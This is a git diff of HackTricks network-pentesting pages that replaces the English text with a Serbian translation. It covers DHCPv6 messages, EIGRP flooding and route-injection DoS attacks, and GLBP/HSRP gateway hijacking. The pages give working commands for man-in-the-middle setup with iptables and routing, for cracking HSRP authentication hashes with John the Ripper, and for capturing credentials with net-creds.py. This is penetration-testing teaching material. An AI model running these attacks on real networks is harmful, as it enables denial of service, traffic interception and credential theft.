-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-### DHCPv6 vs. DHCPv4 Message Types Comparison -A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below: +### Poređenje tipova poruka DHCPv6 i DHCPv4 +U tabeli ispod je prikazan poređenje tipova poruka DHCPv6 i DHCPv4: -| DHCPv6 Message Type | DHCPv4 Message Type | +| Tip poruke DHCPv6 | Tip poruke DHCPv4 | |:-------------------|:-------------------| | Solicit (1) | DHCPDISCOVER | | Advertise (2) | DHCPOFFER | @@ -30,38 +28,36 @@ A comparative view of DHCPv6 and DHCPv4 message types is presented in the table | Reconfigure (10) | DHCPFORCERENEW | | Relay-Forw (12), Relay-Reply (13) | none | -**Detailed Explanation of DHCPv6 Message Types:** +**Detaljno objašnjenje tipova poruka DHCPv6:** -1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers. -2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service. -3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server. -4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change. -5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations. -6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew. -7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline. -8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses. -9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network. -10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations. -11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment. -12. **Relay-Forw (12)**: Relay agents forward messages to servers. -13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client. +1. **Solicit (1)**: Inicirano od strane DHCPv6 klijenta da pronađe dostupne servere. +2. **Advertise (2)**: Poslato od strane servera kao odgovor na Solicit, ukazujući na dostupnost DHCP usluge. +3. **Request (3)**: Klijenti koriste ovo da zatraže IP adrese ili prefikse od određenog servera. +4. **Confirm (4)**: Koristi se od strane klijenta da proveri da li su dodeljene adrese i dalje važeće na mreži, obično nakon promene mreže. +5. **Renew (5)**: Klijenti šalju ovo originalnom serveru da produže vreme trajanja adresa ili ažuriraju konfiguracije. +6. **Rebind (6)**: Poslato bilo kom serveru da produži vreme trajanja adresa ili ažurira konfiguracije, posebno kada nema odgovora na Renew. +7. **Reply (7)**: Serveri koriste ovo da pruže adrese, konfiguracione parametre ili da potvrde poruke poput Release ili Decline. +8. **Release (8)**: Klijenti obaveštavaju server da prestane koristiti jednu ili više dodeljenih adresa. +9. **Decline (9)**: Poslato od strane klijenata da prijave da su dodeljene adrese u konfliktu na mreži. +10. **Reconfigure (10)**: Serveri podstiču klijente da pokrenu transakcije za nove ili ažurirane konfiguracije. +11. **Information-Request (11)**: Klijenti zahtevaju konfiguracione parametre bez dodeljivanja IP adrese. +12. **Relay-Forw (12)**: Relej agenti prosleđuju poruke serverima. +13. **Relay-Repl (13)**: Serveri odgovaraju relej agentima, koji zatim dostavljaju poruku klijentu. -## References +## Reference * [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
- - diff --git a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index 147f83f08..076fb86ae 100644 --- a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,86 +1,86 @@ -# EIGRP Attacks +# Napadi na EIGRP
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information. +**Ovo je sažetak napada izloženih na** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Pogledajte ga za dalje informacije. -## **Fake EIGRP Neighbors Attack** - -- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack. -- **Tool**: **helloflooding.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface, e.g., `eth0`. - - `--as`: Defines the EIGRP autonomous system number, e.g., `1`. - - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`. +## **Napad lažnih EIGRP suseda** -## **EIGRP Blackhole Attack** +- **Cilj**: Preopteretiti CPU rutera poplavljivanjem EIGRP hello paketima, što može dovesti do napada odbijanja usluge (DoS). +- **Alat**: Skripta **helloflooding.py**. +- **Izvršavanje**: +%%%bash +~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24 +%%% +- **Parametri**: +- `--interface`: Određuje mrežni interfejs, npr. `eth0`. +- `--as`: Definiše broj autonomnog sistema EIGRP-a, npr. `1`. +- `--subnet`: Postavlja lokaciju podmreže, npr. `10.10.100.0/24`. -- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination. -- **Tool**: **routeinject.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 - %%% -- **Parameters**: - - `--interface`: Specifies the attacker’s system interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. - - `--dst`: Sets the target subnet IP. - - `--prefix`: Defines the mask of the target subnet IP. +## **Napad EIGRP crne rupe** -## **Abusing K-Values Attack** +- **Cilj**: Ometanje protoka mrežnog saobraćaja ubacivanjem lažne rute, što dovodi do crne rupe gde se saobraćaj usmerava ka nepostojećoj destinaciji. +- **Alat**: Skripta **routeinject.py**. +- **Izvršavanje**: +%%%bash +~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32 +%%% +- **Parametri**: +- `--interface`: Određuje interfejs sistema napadača. +- `--as`: Definiše broj EIGRP autonomnog sistema. +- `--src`: Postavlja IP adresu napadača. +- `--dst`: Postavlja IP adresu ciljne podmreže. +- `--prefix`: Definiše masku ciljne IP adrese podmreže. -- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack. -- **Tool**: **relationshipnightmare.py** script. -- **Execution**: - %%%bash - ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the IP Address of a legitimate router. +## **Zloupotreba napada K-vrednosti** -## **Routing Table Overflow Attack** +- **Cilj**: Stvaranje kontinuiranih prekida i ponovnih povezivanja unutar EIGRP domena ubacivanjem izmenjenih K-vrednosti, što rezultira napadom DoS. +- **Alat**: Skripta **relationshipnightmare.py**. +- **Izvršavanje**: +%%%bash +~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100 +%%% +- **Parametri**: +- `--interface`: Određuje mrežni interfejs. +- `--as`: Definiše broj EIGRP autonomnog sistema. +- `--src`: Postavlja IP adresu legitimnog rutera. -- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes. -- **Tool**: **routingtableoverflow.py** script. -- **Execution**: - %%%bash - sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 - %%% -- **Parameters**: - - `--interface`: Specifies the network interface. - - `--as`: Defines the EIGRP AS number. - - `--src`: Sets the attacker’s IP address. +## **Napad prelivanja tabele rutiranja** + +- **Cilj**: Opterećenje CPU-a i RAM-a rutera poplavljivanjem tabele rutiranja sa brojnim lažnim rutama. +- **Alat**: Skripta **routingtableoverflow.py**. +- **Izvršavanje**: +%%%bash +sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50 +%%% +- **Parametri**: +- `--interface`: Određuje mrežni interfejs. +- `--as`: Definiše broj EIGRP autonomnog sistema. +- `--src`: Postavlja IP adresu napadača.
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md index a9f7f8255..3a1c4eed1 100644 --- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md @@ -1,63 +1,62 @@ -# GLBP & HSRP Attacks +# Napadi na GLBP i HSRP
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## FHRP Hijacking Overview +## Pregled FHRP preuzimanja -### Insights into FHRP -FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP. +### Uvid u FHRP +FHRP je dizajniran da obezbedi otpornost mreže spajanjem više rutera u jedinicu, čime se poboljšava raspodela opterećenja i tolerancija na greške. Cisco Systems je u ovoj grupi predstavio prominentne protokole kao što su GLBP i HSRP. -### GLBP Protocol Insights -Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified. +### Pregled GLBP protokola +GLBP, koji je kreirao Cisco, funkcioniše na TCP/IP sloju, koristeći UDP na portu 3222 za komunikaciju. Ruteri u GLBP grupi razmenjuju "hello" pakete na intervalima od 3 sekunde. Ako ruter ne pošalje ove pakete u roku od 10 sekundi, pretpostavlja se da je van mreže. Međutim, ovi tajmeri nisu fiksni i mogu se menjati. -### GLBP Operations and Load Distribution -GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms: +### GLBP operacije i raspodela opterećenja +GLBP se ističe omogućavanjem raspodele opterećenja između rutera korišćenjem jedne virtuelne IP adrese u kombinaciji sa više virtuelnih MAC adresa. U GLBP grupi, svaki ruter učestvuje u prosleđivanju paketa. Za razliku od HSRP/VRRP, GLBP pruža pravo balansiranje opterećenja kroz nekoliko mehanizama: -- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations. -- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts. -- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics. +- **Balansiranje opterećenja zavisno od hosta:** Održava konzistentno dodeljivanje AVF MAC adrese hostu, što je važno za stabilne NAT konfiguracije. +- **Balansiranje opterećenja rotirajući:** Podrazumevani pristup, rotira dodeljivanje AVF MAC adrese među zahtevajućim hostovima. +- **Balansiranje opterećenja sa težinskim rotiranjem:** Raspodeljuje opterećenje na osnovu unapred definisanih "težinskih" metrika. -### Key Components and Terminologies in GLBP -- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers. -- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic. -- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255. -- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking. -- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices. +### Ključni komponenti i terminologija u GLBP-u +- **AVG (Active Virtual Gateway):** Glavni ruter, odgovoran za dodeljivanje MAC adresa ruterima u grupi. +- **AVF (Active Virtual Forwarder):** Ruter koji je zadužen za upravljanje mrežnim saobraćajem. +- **GLBP prioritet:** Metrika koja određuje AVG, počevši od podrazumevane vrednosti 100 i krećući se u rasponu od 1 do 255. +- **GLBP težina:** Odražava trenutno opterećenje rutera, koje se može ručno podešavati ili putem praćenja objekata. +- **GLBP virtuelna IP adresa:** Služi kao podrazumevani gateway mreže za sve povezane uređaje. -For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration. +Za interakciju, GLBP koristi rezervisanu multicast adresu 224.0.0.102 i UDP port 3222. Ruteri šalju "hello" pakete na intervalima od 3 sekunde, a smatraju se neoperativnim ako se paket propusti tokom trajanja od 10 sekundi. -### GLBP Attack Mechanism -An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection. +### Mekanizam napada na GLBP +Napadač može postati primarni ruter slanjem GLBP paketa sa najvišom vrednošću prioriteta (255). Ovo može dovesti do DoS ili MITM napada, omogućavajući presretanje ili preusmeravanje saobraćaja. -### Executing a GLBP Attack with Loki -[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark. +### Izvršavanje napada na GLBP pomoću Lokija +[Loki](https://github.com/raizo62/loki_on_kali) može izvršiti napad na GLBP ubacivanjem paketa sa postavljenim prioritetom i težinom na 255. Koraci pre napada uključuju prikupljanje informacija poput virtuelne IP adrese, prisustva autentifikacije i vrednosti prioriteta rutera korišćenjem alata poput Wireshark-a. -Attack Steps: -1. Switch to promiscuous mode and enable IP forwarding. -2. Identify the target router and retrieve its IP. -3. Generate a Gratuitous ARP. -4. Inject a malicious GLBP packet, impersonating the AVG. -5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP. -6. Implement SNAT for complete traffic visibility. -7. Adjust routing to ensure continued internet access through the original AVG router. +Koraci napada: +1. Prebacite se u promiskuitetni režim i omogućite prosleđivanje IP paketa. +2. Identifikujte ciljni ruter i dobijte njegovu IP adresu. +3. Generišite lažni ARP zahtev. +4. Ubacite zlonamerni GLBP paket, predstavljajući se kao AVG. +5. Dodelite sekundarnu IP adresu mrežnom interfejsu napadača, oponašajući GLBP virtuelnu IP adresu. +6. Implementirajte SNAT za potpunu vidljivost saobraćaja. +7. Podesite rutiranje kako biste obezbedili kontinuiran pristup internetu putem originalnog AVG rutera. -By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data. - -For demonstration, here are the required command snippets: +Prateći ove korake, napadač se pozicionira kao "čovek u sredini", sposoban da presretne i analizira mrežni saobraćaj, uključujući nešifrovane ili osetljive podatke. +Za demonstraciju, ovde su potrebni delovi komandi: ```bash # Enable promiscuous mode and IP forwarding sudo ip link set eth0 promisc on @@ -71,82 +70,79 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo route del default sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 ``` +### Pasivno objašnjenje HSRP hakovanja sa detaljima komandi -Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network. +#### Pregled HSRP (Hot Standby Router/Redundancy Protocol) protokola +HSRP je Cisco vlasnički protokol dizajniran za redundanciju mrežnih gateway-a. Omogućava konfiguraciju više fizičkih rutera u jedinicu sa zajedničkom IP adresom. Ova logička jedinica se upravlja od strane primarnog rutera koji je odgovoran za usmeravanje saobraćaja. Za razliku od GLBP-a koji koristi metrike kao što su prioritet i težina za balansiranje opterećenja, HSRP se oslanja na jedan aktivni ruter za upravljanje saobraćajem. -### Passive Explanation of HSRP Hijacking with Command Details +#### Uloge i terminologija u HSRP-u +- **HSRP Aktivni Ruter**: Uređaj koji deluje kao gateway i upravlja protokom saobraćaja. +- **HSRP Rezervni Ruter**: Rezervni ruter koji je spreman da preuzme ulogu aktivnog rutera ukoliko on prestane da funkcioniše. +- **HSRP Grupa**: Skup rutera koji sarađuju kako bi formirali jedan otporan virtuelni ruter. +- **HSRP MAC Adresa**: Virtuelna MAC adresa dodeljena logičkom ruteru u HSRP konfiguraciji. +- **HSRP Virtuelna IP Adresa**: Virtuelna IP adresa HSRP grupe koja deluje kao podrazumevani gateway za povezane uređaje. -#### Overview of HSRP (Hot Standby Router/Redundancy Protocol) -HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management. +#### Verzije HSRP-a +HSRP dolazi u dve verzije, HSRPv1 i HSRPv2, koje se razlikuju uglavnom po kapacitetu grupe, korišćenju multicast IP adresa i strukturi virtuelne MAC adrese. Protokol koristi određene multicast IP adrese za razmenu informacija o uslugama, pri čemu se Hello paketi šalju svake 3 sekunde. Ruter se smatra neaktivnim ako ne primi paket u roku od 10 sekundi. -#### Roles and Terminology in HSRP -- **HSRP Active Router**: The device acting as the gateway, managing traffic flow. -- **HSRP Standby Router**: A backup router, ready to take over if the active router fails. -- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router. -- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup. -- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices. +#### Mekanizam HSRP napada +HSRP napadi uključuju prisvajanje uloge Aktivnog Rutera ubacivanjem maksimalne vrednosti prioriteta. Ovo može dovesti do napada Man-In-The-Middle (MITM). Bitni koraci pre napada uključuju prikupljanje podataka o HSRP konfiguraciji, što se može uraditi korišćenjem Wireshark-a za analizu saobraćaja. -#### HSRP Versions -HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval. +#### Koraci za zaobilaženje HSRP autentifikacije +1. Sačuvajte mrežni saobraćaj koji sadrži HSRP podatke kao .pcap fajl. +```shell +tcpdump -w hsrp_traffic.pcap +``` +2. Izdvojite MD5 hešove iz .pcap fajla koristeći hsrp2john.py. +```shell +python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes +``` +3. Provalite MD5 hešove koristeći John the Ripper. +```shell +john --wordlist=mywordlist.txt hsrp_hashes +``` -#### HSRP Attack Mechanism -HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis. +**Izvršavanje HSRP ubacivanja pomoću Lokija** -#### Steps for Bypassing HSRP Authentication -1. Save the network traffic containing HSRP data as a .pcap file. - ```shell - tcpdump -w hsrp_traffic.pcap - ``` -2. Extract MD5 hashes from the .pcap file using hsrp2john.py. - ```shell - python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes - ``` -3. Crack the MD5 hashes using John the Ripper. - ```shell - john --wordlist=mywordlist.txt hsrp_hashes - ``` +1. Pokrenite Lokija da biste identifikovali HSRP reklame. +2. Postavite mrežni interfejs u promiskuitetni režim i omogućite prosleđivanje IP paketa. +```shell +sudo ip link set eth0 promisc on +sudo sysctl -w net.ipv4.ip_forward=1 +``` +3. Koristite Lokija da ciljate određeni ruter, unesite provaljenu HSRP lozinku i izvršite neophodne konfiguracije kako biste se predstavili kao Aktivni Ruter. +4. Nakon što preuzmete ulogu Aktivnog Rutera, konfigurišite mrežni interfejs i IP tabele da biste presreli legitimni saobraćaj. +```shell +sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +``` +5. Izmenite rutiranje da biste usmerili saobraćaj preko bivšeg Aktivnog Rutera. +```shell +sudo route del default +sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 +``` +6. Koristite net-creds.py ili sličan alat da biste uhvatili akreditive iz presretnutog saobraćaja. +```shell +sudo python2 net-creds.py -i eth0 +``` -**Executing HSRP Injection with Loki** - -1. Launch Loki to identify HSRP advertisements. -2. Set the network interface to promiscuous mode and enable IP forwarding. - ```shell - sudo ip link set eth0 promisc on - sudo sysctl -w net.ipv4.ip_forward=1 - ``` -3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router. -4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic. - ```shell - sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0 - sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE - ``` -5. Modify the routing table to route traffic through the former Active Router. - ```shell - sudo route del default - sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100 